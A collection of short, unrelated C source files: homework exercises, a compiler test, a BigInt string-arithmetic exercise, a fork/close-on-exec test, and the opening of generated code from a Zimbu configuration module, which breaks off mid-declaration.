/* hw10_20 */ #include <stdio.h> #include <stdlib.h> int length(char *ptr2); int main(void) { int i,total=0; char *ptr[3]={"Tom","Lily","James Lee"}; for(i=0;i<3;i++) { puts(ptr[i]); total+=length(ptr[i]); } printf("共佔%d個位元組\n",total*sizeof(char)); system("pause"); return 0; } int length(char *ptr2) { int i; for(i=0;*(ptr2+i)!='\0';i++); return i+1; } /* Tom Lily James Lee 共佔19個位元組 Press any key to continue . . . */

the_stack_data/80655.c

#include <stdlib.h> int blah (int zzz) { int foo; if (zzz >= 0) return 1; foo = (zzz >= 0 ? (zzz) : -(zzz)); return foo; } int main() { if (blah (-1) != 1) abort (); else exit (0); }

the_stack_data/211081103.c

/* Example code for Exercises in C. This program shows a way to represent a BigInt type (arbitrary length integers) using C strings, with numbers represented as a string of decimal digits in reverse order. Follow these steps to get this program working: 1) Read through the whole program so you understand the design. 2) Compile and run the program. It should run three tests, and they should fail. 3) Fill in the body of reverse_string(). When you get it working, the first test should pass. 4) Fill in the body of itoc(). When you get it working, the second test should pass. 5) Fill in the body of add_digits(). When you get it working, the third test should pass. 6) Uncomment the last test in main. If your three previous tests pass, this one should, too. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <assert.h> /* reverse_string: Returns a new string with the characters reversed. It is the caller's responsibility to free the result. s: string returns: string */ char *reverse_string(char *s) { int i = 0; int len = strlen(s); char *buffer = malloc(len+1); while (i < len) { buffer[i] = s[len-i-1]; i++; } return buffer; } /* ctoi: Converts a character to integer. c: one of the characters '0' to '9' returns: integer 0 to 9 */ int ctoi(char c) { assert(isdigit(c)); return c - '0'; } /* itoc: Converts an integer to character. i: integer 0 to 9 returns: character '0' to '9' */ char itoc(int i) { return i + '0'; } /* add_digits: Adds two decimal digits, returns the total and carry. For example, if a='5', b='6', and carry='1', the sum is 12, so the output value of total should be '2' and carry should be '1' a: character '0' to '9' b: character '0' to '9' c: character '0' to '9' total: pointer to char carry: pointer to char */ void add_digits(char a, char b, char c, char *total, char *carry) { int sum = ctoi(a) + ctoi(b) + ctoi(c); int tot = sum % 10; int car = sum / 10; *total = itoc(tot); *carry = itoc(car); } /* Define a type to represent a BigInt. Internally, a BigInt is a string of digits, with the digits in reverse order. */ typedef char * BigInt; /* add_bigint: Adds two BigInts Stores the result in z. x: BigInt y: BigInt carry_in: char z: empty buffer */ void add_bigint(BigInt x, BigInt y, char carry_in, BigInt z) { char total, carry_out; int dx=1, dy=1, dz=1; char a, b; /* OPTIONAL TODO: Modify this function to allocate and return z * rather than taking an empty buffer as a parameter. * Hint: you might need a helper function. */ if (*x == '\0') { a = '0'; dx = 0; }else{ a = *x; } if (*y == '\0') { b = '0'; dy = 0; }else{ b = *y; } // printf("%c %c %c\n", a, b, carry_in); add_digits(a, b, carry_in, &total, &carry_out); // printf("%c %c\n", carry_out, total); // if total and carry are 0, we're done if (total == '0' && carry_out == '0') { *z = '\0'; return; } // otherwise store the digit we just computed *z = total; // and make a recursive call to fill in the rest. add_bigint(x+dx, y+dy, carry_out, z+dz); } /* print_bigint: Prints the digits of BigInt in the normal order. big: BigInt */ void print_bigint(BigInt big) { char c = *big; if (c == '\0') return; print_bigint(big+1); printf("%c", c); } /* make_bigint: Creates and returns a BigInt. Caller is responsible for freeing. s: string of digits in the usual order returns: BigInt */ BigInt make_bigint(char *s) { char *r = reverse_string(s); return (BigInt) r; } void test_reverse_string() { char *s = "123"; char *t = reverse_string(s); if (strcmp(t, "321") == 0) { printf("reverse_string passed\n"); } else { printf("reverse_string failed\n"); } } void test_itoc() { char c = itoc(3); if (c == '3') { printf("itoc passed\n"); } else { printf("itoc failed\n"); } } void test_add_digits() { char total, carry; add_digits('7', '4', '1', &total, &carry); if (total == '2' && carry == '1') { printf("add_digits passed\n"); } else { printf("add_digits failed\n"); } } void test_add_bigint() { char *s = "1"; char *t = "99999999999999999999999999999999999999999999"; char *res = "000000000000000000000000000000000000000000001"; BigInt big1 = make_bigint(s); BigInt big2 = make_bigint(t); BigInt big3 = malloc(100); add_bigint(big1, big2, '0', big3); if (strcmp(big3, res) == 0) { printf("add_bigint passed\n"); } else { printf("add_bigint failed\n"); } } int main (int argc, char *argv[]) { test_reverse_string(); test_itoc(); test_add_digits(); //TODO: When you have the first three functions working, // uncomment the following, and it should work. test_add_bigint(); return 0; }

the_stack_data/145452903.c

#include <stdio.h> int main() { int max1, max2, max3; int n; scanf("%d", &n); max1 = max2 = max3 = n; scanf("%d", &n); while (n != 0) { if (n > max3) { if (n > max2) { if (n > max1) { max1 = n; } else { max2 = n; } } else { max3 = n; } } scanf("%d", &n); } printf("\n"); printf(" the biggest: %4d\n", max1); printf("the second biggest: %4d\n", max2); printf(" the third biggest: %4d\n", max3); return 0; }

the_stack_data/122014657.c

#include <stdio.h> void foo(void) { puts("New message 2"); }

the_stack_data/508740.c

#include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main() { int fd = open( "test", O_CREAT | O_WRONLY | O_CLOEXEC, 0700 ); if ( fd < 0 ) { perror("open"); return 1; } if ( fork() == 0 ) { if ( fork() == 0 ) { //child 2 sleep( 2 ); execl("/bin/test", "true", 0 ); printf("fail\n"); exit(1); } else { // parent 1 sleep( 1 ); close( fd ); exit(1); } } else { // parent write( fd, "A", 1 ); close( fd ); } return 0; }

the_stack_data/234517871.c

/* * Generated from Zimbu file zimbuConfig.zu */ #include <string.h> #include <errno.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <ctype.h> #include <stdio.h> #include <signal.h> #if defined(__MINGW32__) || defined(_MSC_VER) # define GC_SIG SIGABRT # include <excpt.h> #else # define GC_SIG SIGUSR2 #endif /* * TYPEDEFS */ #ifdef __MINGW32__ # define ZINT_FORMAT "%I64d" # define ZNAT_FORMAT "%I64u" # define ZINT_XFORMAT "%I64x" #else # define ZINT_FORMAT "%lld" # define ZNAT_FORMAT "%llu" # define ZINT_XFORMAT "%llx" #endif #define ZFLOAT_FORMAT "%g" typedef long long Ti; /* int */ typedef short Ti16; /* int16 */ typedef int Ti32; /* int32 */ typedef unsigned long long Tu; /* nat */ typedef unsigned char Tc; /* byte */ typedef unsigned short Tu16; /* nat16 */ typedef unsigned int Tu32; /* nat32 */ typedef double Tf; /* float */ typedef float Tf32; /* float32 */ typedef __INTPTR_TYPE__ Tip; /* int for pointer */ typedef long long Tbb; /* big BITS */ typedef int Tbs; /* small BITS */ typedef int Tb; /* bool */ typedef int Ts; /* status */ typedef int Te; /* enum */ typedef struct Zref__S Tr; /* object ref */ typedef struct Zobj__S To; /* object description */ typedef union { Ti ival; Tf fval; void *ptr; } Tz; /* dyn value */ typedef struct Ztype__S Tt; /* type */ typedef struct Ztypeo__S Tto; /* type with To pointer */ #define ZOH_OFF 0 typedef struct ZforList__S Tfl; /* FOR in list */ typedef struct ZforRange__S Tfr; /* FOR in range */ typedef struct CArray__S Ta; /* array head */ typedef struct CListHead__S Tl; /* list head */ typedef unsigned long Zhashtype; typedef struct CDictItem__S CDictItem; typedef struct CDictHead__S Td; /* including EModule typedefs */ typedef struct Ytlm__S Ytlm; /* MEModule.Exception */ typedef struct YEro__S YEro; /* MEModule.Exit */ typedef struct YKhn__S YKhn; /* MEModule.OutOfMemory */ typedef struct Y1uN__S Y1uN; /* MEModule.NilAccess */ typedef struct YAxe__S YAxe; /* MEModule.MemoryAccess */ typedef struct YVNj__S YVNj; /* MEModule.Init */ typedef struct Yalz__S Yalz; /* MEModule.BadValue */ typedef struct Y2EX__S Y2EX; /* MEModule.KeyNotFound */ typedef struct YX0i__S YX0i; /* MEModule.KeyExists */ typedef struct YzSI__S YzSI; /* MEModule.DivideByZero */ typedef struct YXKl__S YXKl; /* MEModule.IOError */ typedef struct YuDC__S YuDC; /* MEModule.WrongType */ typedef struct YrHq__S YrHq; /* MEModule.Internal */ /* EModule done */ /* including ZModule typedefs */ typedef struct YkxB__S YkxB; /* MZModule.Pos */ /* ZModule done */ /* including IOModule typedefs */ typedef struct Yw8L__S Yw8L; /* MIOModule.File */ typedef struct YjUM__S YjUM; /* MIOModule.StringWriter */ /* IOModule done */ /* including zimbuConfig typedefs */ /* including Proto typedefs */ typedef struct Ys_q__S Ys_q; /* MProto.E_ProduceError */ typedef struct YOEA__S YOEA; /* MProto.E_BinaryError */ typedef struct YqvM__S YqvM; /* MProto.FieldSpec */ typedef struct YLWE__S YLWE; /* MProto.Writer */ /* Proto done */ typedef struct YNdL__S YNdL; /* MZimbu.Config */ /* zimbuConfig done */ /* * STRUCTS */ /* IO.eof */ #define Y3QJ EOF typedef struct { int line; int col; } Tcpos; typedef struct { Ti offset; Tc *fileName; Tc *methodName; Tcpos *table; } Tcode; void *Za(size_t size); void *ZaNm(size_t size); void *ZaNmi(size_t size); void *Zran(void *op, size_t osize, size_t nsize); void *ZranNm(void *op, size_t osize, size_t nsize); void ZthrowOutOfMemory(Ti size); char *emergencyAlloc = NULL; size_t emergencyAllocUsed = 0; void ZthrowDeadly(int nr); Tc *ZnewString(Tc *p, Ti len); void ZthrowCstringNil(char *text); void ZthrowCstringBadValue(char *msg); void ZthrowInternal(Tc *t); Tc *Zenum2string(char **names, Te n); char *ZgetCstring(Tc *s); struct ZforList__S { Tl *l; Ti i; Ti *keyp; void *valp; }; struct ZforRange__S { Ti idx; Ti step; Ti last; }; void ZthrowObject(Tr *eo); void ZthrowIobject(Tr eo); struct Zref__S { void *ptr; Tc **table; int type; }; Tr trZero = {NULL,NULL,0}; struct Zobj__S { int off; Tt *type; }; struct Ztype__S { int nr; Tc *name; void *ToString; }; struct Ztypeo__S { int nr; Tc *name; void *ToString; To *to; }; extern Tt bool__T; extern Tt byte__T; extern Tt byteString__T; extern Tt float128__T; extern Tt float32__T; extern Tt float80__T; extern Tt float__T; extern Tt int16__T; extern Tt int32__T; extern Tt int8__T; extern Tt int__T; extern Tt nat16__T; extern Tt nat32__T; extern Tt nat__T; extern Tt status__T; extern Tt string__T; extern Tt type__T; extern Tt array__T; extern Tt list__T; extern Tt dict__T; extern Tt iobj__T; struct CArray__S { void *ptr; int dim; Ti size[3]; Tt *itemType; int itemSize; int tosNr; }; void ZfreeArray(Ta *head); Ta *ZnewArray(Tt *itemType, int itemSize, Ti size); struct CListHead__S { Tt *itemType; void **items; Ti empty; Ti space; Ti itemCount; int itemSize; int tosNr; }; Tl *ZLa(Tl *head, Ti after, Tz val); Tl *ZnewList(Tt *itemType, Ti size); Tl *ZLap(Tl *head, Tz val); #define HT_INIT_SIZE 16 #define PERTURB_SHIFT 5 #define DTYPE_ORDERED 1 /* dict with list to keep order of items */ #define CDI_FLAG_USED 1 #define CDI_FLAG_DEL 2 struct CDictItem__S { Zhashtype hash; union { Tz key; Tr iokey; }; union { Tz item; Tr ioitem; }; CDictItem *lnext; CDictItem *lprev; int flags; }; struct CDictHead__S { Zhashtype mask; Zhashtype used; Zhashtype extra; Zhashtype filled; int tosNr; int type; CDictItem *array; CDictItem smallArray[HT_INIT_SIZE]; Tt *keyType; Tt *itemType; int (*eqfunc)(void *i, Tz *v); CDictItem *first; CDictItem *last; }; YkxB *MZ__callerPos(void); Tl *MZ__backtrace(Ti zkip, Ti limit); YkxB *MZ__posnr2pos(YkxB *t, Ti pos); typedef struct { char text[5]; } Zs5; /* including EModule structs */ typedef struct { char text[4]; } Zs4; typedef struct { char text[13]; } Zs13; typedef struct { char text[11]; } Zs11; typedef struct { char text[39]; } Zs39; typedef struct { char text[12]; } Zs12; typedef struct { char text[3]; } Zs3; struct Ytlm__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto Ytlm__T; typedef struct { char text[7]; } Zs7; struct YEro__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; Ti Vvalue; }; extern Tto YEro__T; typedef struct { char text[6]; } Zs6; typedef struct { char text[28]; } Zs28; typedef struct { char text[9]; } Zs9; struct YKhn__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YKhn__T; struct Y1uN__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto Y1uN__T; struct YAxe__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YAxe__T; typedef struct { char text[14]; } Zs14; struct YVNj__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YVNj__T; struct Yalz__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto Yalz__T; typedef struct { char text[10]; } Zs10; struct Y2EX__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto Y2EX__T; typedef struct { char text[17]; } Zs17; typedef struct { char text[18]; } Zs18; struct YX0i__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YX0i__T; typedef struct { char text[22]; } Zs22; typedef struct { char text[23]; } Zs23; struct YzSI__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YzSI__T; struct YXKl__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YXKl__T; typedef struct { char text[15]; } Zs15; struct YuDC__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YuDC__T; struct YrHq__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YrHq__T; /* EModule done */ /* including ZModule structs */ typedef struct { char text[16]; } Zs16; typedef struct { char text[8]; } Zs8; struct YkxB__S { Tc *Vfilename; Ti Vlnum; Ti Vcol; Tc *Vtext; }; extern Tto YkxB__T; /* ZModule done */ /* including IOModule structs */ struct Yw8L__S { FILE * Vfd; Tc *Vname; }; extern Tto Yw8L__T; typedef struct { char text[2]; } Zs2; struct YjUM__S { Ti VsLen; Ta *Vs; Tc *Vx; }; extern Tto YjUM__T; /* IOModule done */ /* including zimbuConfig structs */ /* including Proto structs */ char *MProto__EType[] = { (char*)20, "unknown", "bool", "bytes", "enum", "fixed32", "fixed64", "float", "double", "group", "int", "int32", "int64", "message", "sfixed32", "sfixed64", "sint32", "sint64", "string", "uint32", "uint64", }; char *MProto__EType__name(Te n) { return (n < 0 || n >= (Te)(size_t)MProto__EType[0]) ? "INVALID" : MProto__EType[n + 1]; }; struct Ys_q__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto Ys_q__T; struct YOEA__S { Tc *Vmessage; YkxB *Vpos; Tl *Vbacktrace; }; extern Tto YOEA__T; struct YqvM__S { Tc *Vname; Ti Vnr; Te Vtype; Tb Vrepeated; }; extern Tto YqvM__T; struct YLWE__S { Tr Vwriter; Tc *Vindent; Tb VuseNr; Ti VderefId; Ti VderefIdSize; Ti VderefTime; Ti VderefTimeSize; }; extern Tto YLWE__T; typedef struct { char text[34]; } Zs34; typedef struct { char text[38]; } Zs38; /* Proto done */ struct YNdL__S { Ti VderefTime; Ti VderefId; Ti VderefTimeSize; Ti VderefIdSize; Tc *Vf_mallocArg; Tc *Vf_threadArg; Tc *Vf_socketArg; Tc *Vf_mathArg; Ti Vf_haveResolve; Ti Vf_haveFork; Tc *Vf_exeSuffix; Tc *Vf_exePrefix; Ti Vf_haveSigaction; Ti Vf_gcWithThreads; Tc *Vf_int16Name; Tc *Vf_int32Name; Tc *Vf_int64Name; Tc *Vf_nat16Name; Tc *Vf_nat32Name; Tc *Vf_nat64Name; Tc *Vf_floatName; Tc *Vf_float32Name; Tc *Vf_intPtrName; Tc *Vf_printIntFormat; Tc *Vf_printNatFormat; Tc *Vf_scanfHexFormat; Ti Vf_isMingw; }; extern Tto YNdL__T; /* zimbuConfig done */ typedef struct { char text[25]; } Zs25; typedef struct { char text[27]; } Zs27; typedef struct { char text[36]; } Zs36; typedef struct { char text[68]; } Zs68; typedef struct { char text[32]; } Zs32; typedef struct { char text[20]; } Zs20; /* * DECLARE FUNCTIONS AND GLOBALS */ Zs5 ZNilString = {"\003NIL\000"}; /* including EModule declarations */ void YxaJ(Ytlm *t, Tr Aw); /* MEModule__CException.writeTo */ Zs4 YFDa = {"\002: \000"}; Zs13 YHbP = {"\013Exception: \000"}; Zs11 YDGe = {"\011Exception\000"}; void YxaJa(Ytlm *t, Tb Averbose, Tr Aw); /* MEModule__CException.writeTo */ Zs39 Y62e = {"\045\nStack backtrace (last called first):\000"}; Zs12 Yv6_ = {"\012\n(unknown)\000"}; Zs3 Yk = {"\001\n\000"}; To ToYtlm[4]; void YXHSa(YEro *t, Tr Aw); /* MEModule__CExit.writeTo */ Zs7 YxJ1 = {"\005EXIT \000"}; void YEro__YxaJa(YEro *t, Tb Averbose, Tr Aw); /* MEModule__CExit.writeTo__p1 */ To ToYEro[4]; Zs6 YJMo = {"\004Exit\000"}; YKhn *YDNob(YKhn *t, Ti Asize, Ti Alimit); /* MEModule__COutOfMemory.NEW */ Zs28 YIBz = {"\032Out of memory (allocating \000"}; Zs9 YDSH = {"\007 bytes)\000"}; void YKhn__YwtA__YxaJa(YKhn *t, Tb Averbose, Tr Aw); /* MEModule__COutOfMemory.writeTo__p2 */ void YKhn__YwtA__YxaJ(YKhn *t, Tr Aw); /* MEModule__COutOfMemory.writeTo__p2 */ Tc *YKhn__Ytlm_I_imt[14]; To ToYKhn[4]; Zs13 Y9Fv = {"\013OutOfMemory\000"}; void Y1KV(Ti Asize); /* MEModule.throwOutOfMemorySize */ Y1uN *Y1uN__YwtA__YRHR(Y1uN *t, Tc *Amsg); /* MEModule__CNilAccess.NEW__p2 */ void Y1uN__YwtA__YxaJa(Y1uN *t, Tb Averbose, Tr Aw); /* MEModule__CNilAccess.writeTo__p2 */ void Y1uN__YwtA__YxaJ(Y1uN *t, Tr Aw); /* MEModule__CNilAccess.writeTo__p2 */ Tc *Y1uN__Ytlm_I_imt[14]; To ToY1uN[4]; Zs11 Y4wO = {"\011NilAccess\000"}; void YvdV(YkxB *Apos, Tc *Atext); /* MEModule.throwNil */ YAxe *YAxe__YwtA__YRHR(YAxe *t, Tc *Amsg); /* MEModule__CMemoryAccess.NEW__p2 */ void YAxe__YwtA__YxaJa(YAxe *t, Tb Averbose, Tr Aw); /* MEModule__CMemoryAccess.writeTo__p2 */ void YAxe__YwtA__YxaJ(YAxe *t, Tr Aw); /* MEModule__CMemoryAccess.writeTo__p2 */ Tc *YAxe__Ytlm_I_imt[14]; To ToYAxe[4]; Zs14 Y4QW = {"\014MemoryAccess\000"}; void YE93(Ti Anr); /* MEModule.throwDeadly */ Zs13 YkfG = {"\013signal SEGV\000"}; Zs12 YoEx = {"\012signal FPE\000"}; Zs12 YQNH = {"\012signal BUS\000"}; Zs9 YpCZ = {"\007signal \000"}; YVNj *YVNj__YwtA__YRHR(YVNj *t, Tc *Amsg); /* MEModule__CInit.NEW__p2 */ void YVNj__YwtA__YxaJa(YVNj *t, Tb Averbose, Tr Aw); /* MEModule__CInit.writeTo__p2 */ void YVNj__YwtA__YxaJ(YVNj *t, Tr Aw); /* MEModule__CInit.writeTo__p2 */ Tc *YVNj__Ytlm_I_imt[14]; To ToYVNj[4]; Zs6 Ysqt = {"\004Init\000"}; void Y3w6(Tc *Atext); /* MEModule.throwInit */ Yalz *Yalz__YwtA__YRHR(Yalz *t, Tc *Amsg); /* MEModule__CBadValue.NEW__p2 */ void Yalz__YwtA__YxaJa(Yalz *t, Tb Averbose, Tr Aw); /* MEModule__CBadValue.writeTo__p2 */ void Yalz__YwtA__YxaJ(Yalz *t, Tr Aw); /* MEModule__CBadValue.writeTo__p2 */ Tc *Yalz__Ytlm_I_imt[14]; To ToYalz[4]; Zs10 YEZq = {"\010BadValue\000"}; void Yaez(Tc *Atext); /* MEModule.throwBadValue */ Y2EX *Y2EX__Yalz__YwtA__YRHR(Y2EX *t, Tc *Amsg); /* MEModule__CKeyNotFound.NEW__p3 */ void Y2EX__Yalz__YwtA__YxaJ(Y2EX *t, Tr Aw); /* MEModule__CKeyNotFound.writeTo__p3 */ void Y2EX__Yalz__YwtA__YxaJa(Y2EX *t, Tb Averbose, Tr Aw); /* MEModule__CKeyNotFound.writeTo__p3 */ Tc *Y2EX__Ytlm_I_imt[14]; To ToY2EX[4]; Zs13 YRiW = {"\013KeyNotFound\000"}; void Yxmk(Ti Akey, Tc *Amsg); /* MEModule.throwIntKeyNotFound */ Zs17 Ym6C = {"\017Key not found: \000"}; void Y5LT(Tc *Akey, Tc *Amsg); /* MEModule.throwStringKeyNotFound */ Zs18 YJ3Y = {"\020Key not found: \"\000"}; Zs3 YI = {"\001\"\000"}; YX0i *YX0i__Yalz__YwtA__YRHR(YX0i *t, Tc *Amsg); /* MEModule__CKeyExists.NEW__p3 */ void YX0i__Yalz__YwtA__YxaJ(YX0i *t, Tr Aw); /* MEModule__CKeyExists.writeTo__p3 */ void YX0i__Yalz__YwtA__YxaJa(YX0i *t, Tb Averbose, Tr Aw); /* MEModule__CKeyExists.writeTo__p3 */ Tc *YX0i__Ytlm_I_imt[14]; To ToYX0i[4]; Zs11 Y9_h = {"\011KeyExists\000"}; void YL9Z(Ti Akey, Tc *Amsg); /* MEModule.throwIntKeyExists */ Zs22 Y9qa = {"\024Key already exists: \000"}; void YEeX(Tc *Akey, Tc *Amsg); /* MEModule.throwStringKeyExists */ Zs23 YMKM = {"\025Key already exists: \"\000"}; YzSI *YzSI__Ylz1__YwtA__YRHR(YzSI *t, Tc *Amsg); /* MEModule__CDivideByZero.NEW__p3 */ void YzSI__Ylz1__YwtA__YxaJ(YzSI *t, Tr Aw); /* MEModule__CDivideByZero.writeTo__p3 */ void YzSI__Ylz1__YwtA__YxaJa(YzSI *t, Tb Averbose, Tr Aw); /* MEModule__CDivideByZero.writeTo__p3 */ Tc *YzSI__Ytlm_I_imt[14]; To ToYzSI[4]; Zs14 YxFl = {"\014DivideByZero\000"}; YXKl *YXKl__YwtA__YRHR(YXKl *t, Tc *Amsg); /* MEModule__CIOError.NEW__p2 */ void YXKl__YwtA__YxaJa(YXKl *t, Tb Averbose, Tr Aw); /* MEModule__CIOError.writeTo__p2 */ void YXKl__YwtA__YxaJ(YXKl *t, Tr Aw); /* MEModule__CIOError.writeTo__p2 */ Tc *YXKl__Ytlm_I_imt[14]; To ToYXKl[4]; Zs9 YTj3 = {"\007IOError\000"}; YuDC *YdhH(YuDC *t); /* MEModule__CWrongType.NEW */ Zs15 Ynjz = {"\015Type mismatch\000"}; void YuDC__YwtA__YxaJa(YuDC *t, Tb Averbose, Tr Aw); /* MEModule__CWrongType.writeTo__p2 */ void YuDC__YwtA__YxaJ(YuDC *t, Tr Aw); /* MEModule__CWrongType.writeTo__p2 */ Tc *YuDC__Ytlm_I_imt[14]; To ToYuDC[4]; Zs11 YCoZ = {"\011WrongType\000"}; void YTuG(Ti Apos); /* MEModule.throwWrongType */ YrHq *YrHq__YwtA__YRHR(YrHq *t, Tc *Amsg); /* MEModule__CInternal.NEW__p2 */ void YrHq__YwtA__YxaJa(YrHq *t, Tb Averbose, Tr Aw); /* MEModule__CInternal.writeTo__p2 */ void YrHq__YwtA__YxaJ(YrHq *t, Tr Aw); /* MEModule__CInternal.writeTo__p2 */ Tc *YrHq__Ytlm_I_imt[14]; To ToYrHq[4]; Zs10 YVki = {"\010Internal\000"}; void YUSH(YkxB *Apos, Tc *Atext); /* MEModule.throwInternal */ void YxIS(Tr Ae); /* MEModule.unhandledException */ void YvL0(Tr Ae); /* MEModule.writeToStderr */ void YQar(Tr A0, Tb A1, Tr A2); /* Ytlm_I__MwriteTo_I__bool__Yw8L_I */ /* EModule done */ /* including ZModule declarations */ YkxB *Ypp_a(YkxB *t, Tc *Afilename, Ti Alnum, Ti Acol); /* MZModule__CPos.NEW */ Tc *YpI_(YkxB *t); /* MZModule__CPos.ToString */ Zs16 YKo1 = {"\016[unknown file]\000"}; Zs8 YBpY = {"\006 line \000"}; Zs7 Y8ES = {"\005 col \000"}; To ToYkxB[3]; Zs5 YBCs = {"\003Pos\000"}; /* ZModule done */ /* including IOModule declarations */ Tr Y59X = {NULL}; /* MIOModule.stdin */ Tr Yb0q = {NULL}; /* MIOModule.stdout */ Tr YeNQ = {NULL}; /* MIOModule.stderr */ Tr Yd89(); /* MIOModule.newStdin */ Tr Yvyt(); /* MIOModule.newStdout */ Tr YsM3(); /* MIOModule.newStderr */ Tc **YdXi__imtt[4]; Ts YwHoa(Yw8L *t, Tc *Atext); /* MIOModule__CFile.write */ Zs18 YQe8 = {"\020File is not open\000"}; Ts Yw8L__YHhZb(Yw8L *t, Ti Anumber); /* MIOModule__CFile.write__p1 */ Ts Yw8L__YRt7g(Yw8L *t); /* MIOModule__CFile.print__p1 */ Tc *Yw8L__Yw8L_I_imt[38]; Tc *Yw8L__YdXi_imt[3]; To ToYw8L[2]; Zs6 YtTU = {"\004File\000"}; Tr YiBk(Tc *AfileName, Tb Atruncate); /* MIOModule.fileWriter */ Ts Yl0k(Tc *Atext); /* MIOModule.print */ Ts Ylxt(); /* MIOModule.flush */ Ts YJqza(YjUM *t, Tc *Atext); /* MIOModule__CStringWriter.write */ Tc *YbNW(YjUM *t); /* MIOModule__CStringWriter.ToString */ Zs2 Ya = {"\000\000"}; Ts YjUM__YHhZb(YjUM *t, Ti Anumber); /* MIOModule__CStringWriter.write__p1 */ Tc *YjUM__YdXi_imt[3]; To ToYjUM[3]; Zs14 YE4c = {"\014StringWriter\000"}; Tb Y0YB(Tc *Aname); /* MIOModule.isReadable */ int JIOModule(int round); /* IOModule done */ /* including zimbuConfig declarations */ /* including Proto declarations */ Tt MProto__EType__T = {23, 0, MProto__EType__name}; Tt MProto__EBinaryType__T = {23, 0, 0}; Ys_q *Ys_q__YwtA__YRHR(Ys_q *t, Tc *Amsg); /* MProto__CE_ProduceError.NEW__p2 */ void Ys_q__YwtA__YxaJa(Ys_q *t, Tb Averbose, Tr Aw); /* MProto__CE_ProduceError.writeTo__p2 */ void Ys_q__YwtA__YxaJ(Ys_q *t, Tr Aw); /* MProto__CE_ProduceError.writeTo__p2 */ Tc *Ys_q__Ytlm_I_imt[14]; To ToYs_q[4]; Zs16 Y4sk = {"\016E_ProduceError\000"}; YOEA *YOEA__YwtA__YRHR(YOEA *t, Tc *Amsg); /* MProto__CE_BinaryError.NEW__p2 */ void YOEA__YwtA__YxaJa(YOEA *t, Tb Averbose, Tr Aw); /* MProto__CE_BinaryError.writeTo__p2 */ void YOEA__YwtA__YxaJ(YOEA *t, Tr Aw); /* MProto__CE_BinaryError.writeTo__p2 */ Tc *YOEA__Ytlm_I_imt[14]; To ToYOEA[4]; Zs15 YtJ_ = {"\015E_BinaryError\000"}; YqvM *Ykww(YqvM *t, Tc *Aname, Ti Anr, Te Atype, Tb Arepeated); /* MProto__CFieldSpec.NEW */ To ToYqvM[2]; Zs11 Y5d5 = {"\011FieldSpec\000"}; YLWE *YrCUb(YLWE *t, Tr Awriter, Tc *Aindent, Tb AuseNr); /* MProto__CWriter.NEW */ void YEV9(YLWE *t); /* MProto__CWriter.initDeref */ Ti YcTI = 0; /* MProto__CWriter__X.derefTime */ To ToYLWE[3]; Zs8 YaKG = {"\006Writer\000"}; Td *YXCQ = NULL; /* MProto.proto2binary */ Td *YLwW = NULL; /* MProto.binaryTypeValues */ Ti YqNA = 3 /* MProto.kTypeBits */; Ti Ybyp(YqvM *Afspec); /* MProto.getBinaryTagSize */ Ti YFN0(Tr Amsg, YLWE *AprotoWriter); /* MProto.binarySize */ Zs34 Ytvm = {"\040INTERNAL: type not implemented: \000"}; Ti YMrV(Tr At, Tr Amsg, YqvM *Afspec, YLWE *AprotoWriter); /* MProto.binaryMessageSize */ void YP8Z(Tr Amsg, YLWE *AprotoWriter); /* MProto.writeText */ Zs15 YvJi = {"\015# reference: \000"}; Zs3 YT = {"\001-\000"}; Zs4 YN2 = {"\002# \000"}; Zs9 Y0Eh = {"\007 size: \000"}; Zs9 Y8RH = {"\007 bytes\n\000"}; void YWEg(Tr Amsg, YqvM *Afspec, Ti Aidx, YLWE *AprotoWriter); /* MProto.writeOneTextField */ Zs5 YxR2 = {"\003.9g\000"}; Zs6 YmwI = {"\004.17g\000"}; Zs6 YHoE = {"\004TRUE\000"}; Zs7 Y2cy = {"\005FALSE\000"}; Zs4 YQ0 = {"\002\"\n\000"}; Zs4 Ywhc = {"\002{\n\000"}; Zs4 YZY = {"\002 \000"}; Zs4 YJkc = {"\002}\n\000"}; Zs38 Y80t = {"\044INTERNAL: field type not supported: \000"}; void YeeB(Tr At, Ti AfieldNr, YLWE *AprotoWriter); /* MProto.writeMessageText */ void YeeBa(Tr At, Ti AfieldNr, Ti Aidx, YLWE *AprotoWriter); /* MProto.writeMessageText */ Ti YmeT(Ti Avalue); /* MProto.getVarIntSize */ int JProto(int round); /* Proto done */ YNdL *YA_Z(YNdL *t); /* MZimbu__CConfig.NEW */ Tc *Ykvoa(YNdL *t); /* MZimbu__CConfig.name */ Zs8 YF2d = {"\006Config\000"}; YNdL *YrF2(YNdL *t, Tc *Av); /* MZimbu__CConfig.setMallocArg */ Tb Y8zW(YNdL *t); /* MZimbu__CConfig.hasMallocArg */ YNdL *YOPG(YNdL *t, Tc *Av); /* MZimbu__CConfig.setThreadArg */ Tb YvKz(YNdL *t); /* MZimbu__CConfig.hasThreadArg */ YNdL *YWoP(YNdL *t, Tc *Av); /* MZimbu__CConfig.setSocketArg */ Tb YDjI(YNdL *t); /* MZimbu__CConfig.hasSocketArg */ YNdL *Yjrt(YNdL *t, Tc *Av); /* MZimbu__CConfig.setMathArg */ Tb Y8om(YNdL *t); /* MZimbu__CConfig.hasMathArg */ YNdL *Yqt5(YNdL *t, Tb Av); /* MZimbu__CConfig.setHaveResolve */ Tb Y3Lr(YNdL *t); /* MZimbu__CConfig.hasHaveResolve */ YNdL *YBhB(YNdL *t, Tb Av); /* 